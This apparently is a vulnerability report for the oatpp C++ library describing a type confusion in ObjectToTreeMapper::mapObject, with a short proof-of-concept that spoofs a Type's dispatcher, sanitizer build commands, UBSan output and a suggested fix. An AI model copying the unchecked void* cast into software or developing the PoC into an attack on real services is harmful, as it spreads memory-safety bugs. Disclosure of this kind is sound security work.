Type confusion in 'ObjectToTreeMapper::mapObject'
Summary
Type::Info::polymorphicDispatcher is a bare void* with nothing recording which ClassId it belongs to. mapObject takes whatever pointer the value's type tag carries, static_casts it to AbstractObject::PolymorphicDispatcher*, and immediately makes a virtual call on it. If the dispatcher stored in a Type is not an object-dispatcher, the call dispatches through the wrong vtable.
Details
src/oatpp/data/type/Type.hpp:459:
459 void* polymorphicDispatcher = nullptr;Nothing in Type::Info associates that pointer with a ClassId. The three dispatcher families are unrelated class hierarchies:
__class::AbstractObject::PolymorphicDispatcher(Object.hpp:237), extended atObject.hpp:265__class::Collection::PolymorphicDispatcher(Collection.hpp:76), extended atCollection.hpp:155__class::Map::PolymorphicDispatcher(Map.hpp:82), extended atMap.hpp:172
There is no common base. A StandardCollection<...>::PolymorphicDispatcher* and an AbstractObject::PolymorphicDispatcher* are pointers into different hierarchies with different vtable layouts.
src/oatpp/data/mapping/ObjectToTreeMapper.cpp:248-259:
248 void ObjectToTreeMapper::mapObject(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph) {
...
255 auto type = polymorph.getValueType();
256 auto dispatcher = static_cast<const oatpp::data::type::__class::AbstractObject::PolymorphicDispatcher*>(
257 type->polymorphicDispatcher
258 );
259 auto fields = dispatcher->getProperties()->getList();Line 256 casts from void*, so the compiler cannot object, and line 259 makes a virtual call straight away. Which of the three map* functions runs is decided earlier by m_methods[classId.id] (ObjectToTreeMapper.cpp:78), so the ClassId selects the handler
while the dispatcher pointer is taken on trust from the same Type. Nothing checks that the two agree.
Fix: give the dispatcher a ClassId and compare before casting, or replace the void* with a common base pointer so dynamic_cast becomes available. Either way the cast should not be reached with an unvalidated pointer immediately before a virtual call.
PoC
PoC constructs a Type whose polymorphicDispatcher is a collection dispatcher while its ClassId says object. That is the precondition, and it is set through the public Type::Info API, nothing in that API prevents the combination.
auto* collectionDisp =
new t::__class::StandardCollection<std::vector<oatpp::String>,
oatpp::String,
t::__class::Vector<oatpp::String>>::PolymorphicDispatcher();
t::Type::Info info;
info.nameQualifier = "Spoofed";
info.polymorphicDispatcher = collectionDisp; // Type.hpp:459 - plain void*
static t::Type spoofed(t::__class::AbstractObject::CLASS_ID, info);
auto payload = std::make_shared<std::vector<oatpp::String>>();
oatpp::Void v(std::static_pointer_cast<void>(payload), &spoofed);
oatpp::json::ObjectMapper mapper;
mapper.writeToString(v); // m_methods[AbstractObject::CLASS_ID] -> mapObject -> virtual callBuild and run:
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
-fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
poc_ObjectToTreeMapper_mapObject.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapObject
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0:print_stacktrace=1 ./poc_ObjectToTreeMapper_mapObject-fsanitize-recover=all so the unrelated DTO property-offset defect does not abort first.
UBSan output:
src/oatpp/data/mapping/ObjectToTreeMapper.cpp:259:29: runtime error: member call on address 0x...
which does not point to an object of type '...'
0x...: note: object is of type
'oatpp::data::type::__class::StandardCollection<std::vector<oatpp::data::type::String, ...>>'
#0 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#1 in oatpp::data::mapping::ObjectToTreeMapper::map(...) src/oatpp/data/mapping/ObjectToTreeMapper.cpp
#2 in oatpp::json::ObjectMapper::write(...) src/oatpp/json/ObjectMapper.cppImpact
virtual call dispatched through a vtable belonging to an unrelated class. reaching it requires a Type whose dispatcher does not match its ClassId, which the PoC configures directly, mapObject will happily make a virtual call on whatever pointer it is handed.
Source: oatpp/oatpp